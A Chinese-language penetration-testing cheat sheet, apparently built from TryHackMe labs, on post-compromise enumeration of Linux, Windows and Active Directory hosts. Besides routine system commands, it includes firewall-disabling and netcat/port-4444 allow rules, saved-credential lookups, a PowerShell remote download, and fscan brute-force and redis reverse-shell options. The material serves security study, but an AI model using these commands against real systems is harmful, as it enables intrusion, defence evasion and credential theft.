系统内信息搜集技术
Linux
常用命令汇总
| 分类 | 命令/操作 | 描述/用途 |
|---|---|---|
| Linux 系统信息 | ls /etc/*-release | 查看发行版本信息文件 |
| uname -a | 显示系统内核和硬件架构信息 | |
| ls -alh /var/mail | 查看系统邮件目录 | |
| ls -lh /usr/bin/ /sbin/ | 列出已安装应用程序路径 | |
| rpm -qa dpkg -l |
列出所有安装的软件包(RPM/DEB系) | |
| hostname | 显示系统主机名(与Windows命令同名) | |
| Linux 用户管理 | who | 显示当前登录用户信息 |
| w | 显示登录用户及其活动 | |
| last | 查看系统登录历史记录 |
网络
dns解析
cat /etc/resolv.conf
netstat:网络连接状况命令
常用参数:
| 选项 | 描述 |
|---|---|
-a |
显示监听和非监听套接字 |
-l |
仅显示监听套接字 |
-n |
显示数字输出而不是解析 IP 地址和端口号 |
-t |
TCP |
-u |
UDP |
-x |
UNIX |
-p |
显示套接字所属程序的 PID 和名称 |
常用组合:
# 返回 监听 TCP 套接字的程序 。
netstat -plt
# 显示 所有 TCP 和 UDP 监听和建立的连接以及带有地址和端口的 程序 名称,格式为 数字
netstat -atunp
PS:要使用sudo或者root权限才能列出在该端口号上监听的“程序名称”。
lsof:列出打开的文件
主要用于列出系统中当前被打开的文件,显示进程与文件之间的关联信息,这对于系统监控、故障排查和资源管理等场景非常重要。
lsof 可展示系统中所有正在运行的进程所打开的文件信息,包括:
- 文件类型:普通文件、目录、套接字(Socket)、管道(Pipe)、设备文件等。
- 进程信息:进程 ID(PID)、进程所有者、进程名称等。
- 文件路径:文件的完整路径或设备节点。
参数列表:
| 参数 | 作用描述 |
|---|---|
-a |
多个条件 “与” 的关系(如同时指定用户和文件类型) |
-c string |
筛选进程名包含指定字符串的进程 |
-d fd |
筛选指定文件描述符(如-d 0表示标准输入,-d 2表示标准错误) |
-g |
显示与进程组相关的文件信息 |
-i [4/6] |
筛选 IPv4 或 IPv6 的网络连接,可加端口号(如-i :80) |
-p pid |
筛选指定 PID 的进程打开的文件 |
-u username |
筛选指定用户打开的文件 |
-t |
仅输出 PID(常用于管道操作) |
-l |
显示文件锁信息 |
-n |
不将网络地址解析为域名(提升性能) |
-P |
不将端口号解析为服务名称(避免 DNS 查询) |
常用命令:
# 只显示互联网和网络连接
lsof -i
# 列出指定端口的相关信息,比如25
lsof -i :25
运行中的服务
ps:列出正在运行的进程和机器相关信息
参数列表:
| 选项 | 描述 |
|---|---|
-e |
所有进程 |
-f |
完整格式列表 |
-j |
任务格式 |
-l |
长格式 |
-u |
以用户为导向的格式 |
PS:可以使用类似的结果并使用 BSD 语法查看所有进程:
ps ax或ps aux。注意,使用 BSD 语法时,a和x是必要的,因为它们取消了“仅限自己”和“必须有 tty”的限制;换句话说,可以显示所有进程。而u是用于显示拥有进程的用户详细信息。
为了获得更“可视化”的输出,可以输入 ps axjf 来打印进程树。其中 f 代表“森林”,它会在终端输出中创建一个 ASCII 艺术的进程层次结构,比如:
user@TryHackMe$ ps axf
PID TTY STAT TIME COMMAND
2 ? S 0:00 [kthreadd]
4 ? S< 0:00 \_ [kworker/0:0H]
5 ? S 0:01 \_ [kworker/u256:0]
[...]
978 ? Ss 0:00 /usr/sbin/sshd -D
5665 ? Ss 0:00 \_ sshd: peter [priv]
5693 ? S 0:00 | \_ sshd: peter@pts/1
5694 pts/1 Ss 0:00 | \_ -bash
5713 pts/1 S+ 0:00 | \_ vi notes.txt
5723 ? Ss 0:00 \_ sshd: jane [priv]
5727 ? S 0:00 \_ sshd: jane@pts/0
5728 pts/0 Ss 0:00 \_ -bash
7080 pts/0 R+ 0:00 \_ ps axf
[...]
Windows
常用命令汇总
下表是一些Windows内信息搜集的常用命令:
| 分类 | 命令/操作 | 描述/用途 |
|---|---|---|
| 系统信息 | systeminfo | 显示系统详细信息(版本/补丁/硬件配置) |
| wmic qfe get Caption,Description,HotFixID,InstalledOn | 列出已安装补丁列表 | |
| wmic product get name,version,vendor | 列出已安装应用程序 | |
| wmic service list brief | 列出本机服务信息 | |
| echo %PROCESSOR_ARCHITECTURE% | 查看系统架构(x86/x64) | |
| schtasks /query /fo LIST /v | 列出计划任务(需chcp 437解决编码问题) | |
| net share wmic share get name,path,status |
查询共享列表 | |
| DRIVERQUERY | 列出已安装驱动 | |
| wmic startup get command,caption | 列出启动程序 | |
| route print | 显示路由表信息 | |
| 用户管理 | whoami | 显示当前用户名 |
| whoami /priv | 查看当前用户权限 | |
| whoami /groups | 显示用户所属组 | |
| net user | 列出本地用户账户 | |
| wmic useraccount get name,SID | 获取用户SID信息 | |
| net localgroup | 列出本地用户组 | |
| net accounts | 查看本地账户策略 | |
| net accounts /domain | 查看域密码策略(域环境) | |
| 网络相关 | ipconfig | 显示网络配置信息 |
| ipconfig /displaydns | 显示DNS缓存记录 | |
| arp -a | 显示ARP缓存表 | |
| netstat -ano | 显示所有网络连接和监听端口 | |
| net use \\SMBPATH Pa$$w0rd /u:UserName | 建立SMB连接 | |
| reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber | 查询RDP端口配置(0xd3d=3389) | |
| reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" | 查看代理配置信息 | |
| route print | 显示路由表(与系统信息部分合并) | |
| netsh firewall show config | 显示防火墙配置 | |
| 进程与服务 | tasklist /svc | 列出进程及其关联服务 |
| net start | 列出已启动服务 | |
| sc query | 列出所有服务状态 | |
| sc qc ServiceName | 查询指定服务的二进制路径 | |
| 安全相关 | icacls "C:\Example" | 查看文件/目录权限 |
| cmdkey /list | 查看保存的登录凭证 | |
| dir %APPDATA%\Microsoft\Windows\Recent | 查看最近打开的文档 | |
| dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* | 查找本地RDP凭证 | |
| wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname | 检测已安装杀毒软件 | |
| 系统操作 | shutdown /r /t 0 | 立即重启系统 |
| type file.txt | 查看文本文件内容 | |
| (New-Object System.Net.WebClient).DownloadFile("http://host/file","C:\LocalPath") | PowerShell远程下载文件 |
PS:以上命令都需要cmd命令行进行执行。
防火墙
查看防火墙是否开启
netsh firewall show state
关闭防火墙强
# Windows server 2003:
netsh firewall set opmode disable
#Windows server 2003之后:
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
查看防火墙配置
netsh firewall show config
修改防火墙配置
# 2003及之前的版本,允许指定的程序进行全部的连接:
netsh firewall add allowedprogram c:\nc.exe "allownc" enable
#2003之后的版本,允许指定的程序进行全部的连接:
netsh advfirewall firewall add rule name="pass nc"dir=in action=allow program="C:\nc.exe"
# 允许指定程序退出,命令如下:
netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C: \nc.exe"
# 允许3389端口放行,命令如下:
netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=4444 #允许4444端口进站
netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\a.exe #允许a.exe进站
netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=4444 #允许4444端口出站
netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\a.exe #允许a.exe出站
net命令详解
net命令可以查看当前主机的管理网络环境、服务、用户、登陆等信息内容,常用命令如下:
| 命令 | 目的 | 语法 | 示例 |
|---|---|---|---|
net user |
查看本地用户信息 | net user [用户名] |
net usernet user Administrator |
net user /add |
创建本地用户 | net user <用户名> <密码> /add |
net user testUser P@ssw0rd /add |
net user /delete |
删除本地用户 | net user <用户名> /delete |
net user testUser /delete |
net localgroup |
查看本地组信息 | net localgroup [组名] |
net localgroupnet localgroup Administrators |
net localgroup /add |
将用户添加到本地组 | net localgroup <组名> <用户名> /add |
net localgroup Administrators testUser /add |
net share |
查看本机共享资源 | net share |
net share |
net share /add |
创建共享目录 | net share <共享名>=<路径> [权限] |
net share Data=C:\Data /grant:Everyone,READ |
net share /delete |
删除共享目录 | net share <共享名> /delete |
net share Data /delete |
net start |
启动服务 | net start <服务名> |
net start Spooler |
net stop |
停止服务 | net stop <服务名> |
net stop Spooler |
net view |
查看域/工作组中的计算机 | net view /domainnet view \\计算机名 |
net view /domain:Corpnet view \\DC01 |
net group |
查看域组信息(需域权限) | net group [组名] /domain |
net group "Domain Admins" /domain |
net time |
同步域时间 | net time \\域控制器 /set /y |
net time \\DC01 /set /y |
net use |
映射/查看网络驱动器 | net use [驱动器:] \\IP\共享名 /user:用户名 密码 |
net use Z: \\192.168.1.10\Share /user:Admin P@ss |
net use /delete |
断开网络驱动器 | net use 驱动器: /delete |
net use Z: /delete |
net config |
查看计算机名和域信息 | net config workstation |
net config workstation |
net statistics |
查看网络统计信息 | net statistics workstationnet statistics server |
net statistics server |
DNS、SMB 和 SNMP
dns
尝试 DNS 区域传输的一个简单方法是通过 dig 命令.根据 DNS 服务器配置,DNS 区域传输可能受到限制。如果没有限制,应该可以使用 dig -t AXFR DOMAIN_NAME @DNS_SERVER 实现。 -t AXFR 表示我们正在请求区域传输,而 @ 在 DNS_SERVER 之前, DNS_SERVER 是我们想要查询的与指定 DOMAIN_NAME 相关的记录。
PS:dig命令是在其他主机上执行,而不是目标,比如目标是10.10.204.94,查询redteam.thm的相关信息:
┌──(root㉿kali)-[/home/kali] └─# dig -t AXFR redteam.thm @10.10.204.94 ; <<>> DiG 9.20.7-1-Debian <<>> -t AXFR redteam.thm @10.10.204.94 ;; global options: +cmd redteam.thm. 3600 IN SOA red-win-enum. hostmaster. 5 900 600 86400 3600 redteam.thm. 3600 IN NS red-win-enum. first.redteam.thm. 3600 IN A 10.10.254.1 flag.redteam.thm. 3600 IN TXT "THM{DNS_ZONE}" second.redteam.thm. 3600 IN A 10.10.254.2 tryhackme.redteam.thm. 3600 IN CNAME tryhackme.com. redteam.thm. 3600 IN SOA red-win-enum. hostmaster. 5 900 600 86400 3600 ;; Query time: 528 msec ;; SERVER: 10.10.204.94#53(10.10.204.94) (TCP) ;; WHEN: Fri Apr 11 23:05:50 EDT 2025 ;; XFR size: 7 records (messages 1, bytes 295)
SMB(服务器消息块)
服务器消息块(SMB)是一种通信协议,它提供了对文件和打印机的共享访问。我们可以使用 net share 检查共享文件夹。
示例:
user@TryHackMe$ net share
Share name Resource Remark
-------------------------------------------------------------------------------
C$ C:\ Default share
IPC$ Remote IPC
ADMIN$ C:\Windows Remote Admin
Internal C:\Internal Files Internal Documents
Users C:\Users
The command completed successfully.
可以看到名为 Internal 的 C:\Internal Files 被共享。
SNMP 简单网络管理协议
简单网络管理协议(SNMP)旨在帮助收集有关网络中不同设备的信息。SNMP 可以为攻击者提供大量信息。
工具1: snmpcheck
语法: /opt/snmpcheck/snmpcheck.rb 10.10.204.94 -c COMMUNITY_STRING 或 snmpcheck 10.10.204.94 -c COMMUNITY_STRING
工具2:snmpwalk
语法:snmpwalk -c public 10.10.1.133
信息搜集
OSINT 与钓鱼
通过社工和信息搜集,在公共论坛等地方搜集目标信息,比如,在代码中硬编码凭据,然后将其上传到 github,诱导受害者点击恶意链接或下载恶意程序。
详细信息搜集参见:小迪安全之信息收集
本地信息搜集
命令行信息搜集
使用命令进行信息搜集参考:系统内信息搜集
自动化信息搜集
使用 bat 脚本实现本地信息自动搜集的功能:
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
执行后生成一个 html 文件,内容参考:

域信息搜集
获取台主机的权限后,有四种情况:
1、本地普通用户:当前为本机的 user 用户

2、本地管理员用户:当前为本机的 admmistrator

3、本地 system 权限:当前为本机的 system 权限
4、域内用户:当前为域内普通用户

5、域内用户:当前为 hacke 域内的 administrator 用户

如果当前内网中存在域,在这五种情况中:
- 本地普通用户只能查询本机相关信息,不能查询域内信息。
- 本地管理员用户和域内用户可以查询域内信息
- 本地 system 权限拥有对本机的完全控制权限,可以查看当前计算机中保存的任何内容,比如域用户的凭据。
内网 IP 扫描
NetBIOS 探测
适用于局域网,能读取到 pc 的真实 IP 和 mac 等信息:
nbtscan.exe + IP
ICMP 探测 IP
通过对内网中每个 ip 都执行 ping 命令,找出所有存活主机:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
APR 探测 IP
使用 arp 协议进行 IP 探测
arp.exe -t IP
fscan 自动化工具
支持主机存活探测、端口扫描等操作
# 简单用法
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)
# 其他用法
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
域存在判断
有多种方式查找当前主机是否在域中:
- 通过
ipconfig /all在 dns 中得到域名,然后使用 ping 或 nslookup 解析,得到 ip - 通过
systeminfo会列出主机相关信息,其中有一个 domain/域字段会显示在哪个域 - 通过
Net time /domain向 dc 查看时间,会有三种情况:- 拒绝访问:存在域,但当前用户不是域用户
- 更新成功:存在域,并且当前用户是域用户
- 找不到 DC:当前网络环境为工作组,不存在域
查找域控
| 命令 | 说明 |
|---|---|
nltest /DCLIST:hack |
执行后可以得到 DC 的机器名(以$开头) |
nslookup ‐type=SRV _ldap._tcp |
查看 DC 的主机名 |
net time /domain |
查看当前时间,时间服务器即为 DC |
net group "Domain Controllers" /domain |
查看 DC 组,其中一台即为 DC |
在实际网络中, 一个域内一般存在两台或两台以上的域控制器, 其目的是: 一旦主域控制器发生故障, 备用的域控制器可以保证域内的服务和验证工作正常进行。
域用户基本信息
| 说明 | 命令 |
|---|---|
| 向 DC 查询 | net user /doamin |
| 域内用户信息 | wmic useraccount get/all |
| 查看存在的用户 | dsquery user Tips:此命令仅 server 系统支持 |
| 本地管理员组用户 | net localgroup administrator |
| 域管理员用户 | net group "domain admins" /doamin |
| 域管理员组用户 | net group "Enterprise Admins" /doamin |
定位域管
在获取一个支点后需要拿到域管的位置,定位域管的方式主要有两个:一是本地机器的管理员日志,二是域内每台机器的登录会话。
手动定位
使用以下命令:
net view /domain # 查看当前域名
net view /domain:域名 # 查看域内部所有计算机名
net group /domain # 查看域内部所有用户组列表
net group "domain computers" /domain # 查看所有域成员计算机列表
net accounts /domain # 查看域密码信息
nltest /domian_trusts # 获取域信任信息
nltest /DCLIST:域名 # 查看域控制器机器名
net time /domain # 查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名
net group "Domain Controllers" /domain # 查看域控制器组,因为可能有不止一台域控,有主备之分
net user /domain # 查询域内用户,会看到熟悉的krbtgt用户
wmic useraccount get /all # 获取域内用户详细信息
dsquery user # 查看域内存在的用户
net localgroup administrators # 查看本地管理员用户组
net group "domain admins" /domain # 查询域管理员用户
psloggedom 工具
psloggedon.exe 可以显示本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。如果指定了用户名而不是计算机,psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录。
psloggedon.exe [‐] [‐l] [‐x] [\\computername或username]
PVEDFindADUser 工具
PVEFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务和计划任务的用户账户。运行该工具的计算机需要有.NETFramework 2.0,并且 需要具有管理员权限。
pvefindaduser.exe ‐current
netview 工具
netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登陆会话,利 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登陆的用户。同时,netview.exe 能够查询共享入口和有价值的用户。netview.exe 的绝大部分功能不需要管理员权限就可以使用。
netview.exe -d hack
自动化工具
常见的工具:
- Sysinternals Suite
- Process Hacker
- GhostPack Seatbelt
Sysinternals Suite
提供有关 Windows 系统各个方面信息的命令行和 GUI 工具和程序。
| 工具名称 | 描述 |
|---|---|
| Process Explorer | 显示进程以及打开的文件和注册表键 |
| Process Monitor | 监视文件系统、进程和注册表 |
| PsList | 提供关于进程的信息 |
| PsLoggedOn | 显示已登录的用户 |

浙公网安备 33010602011771号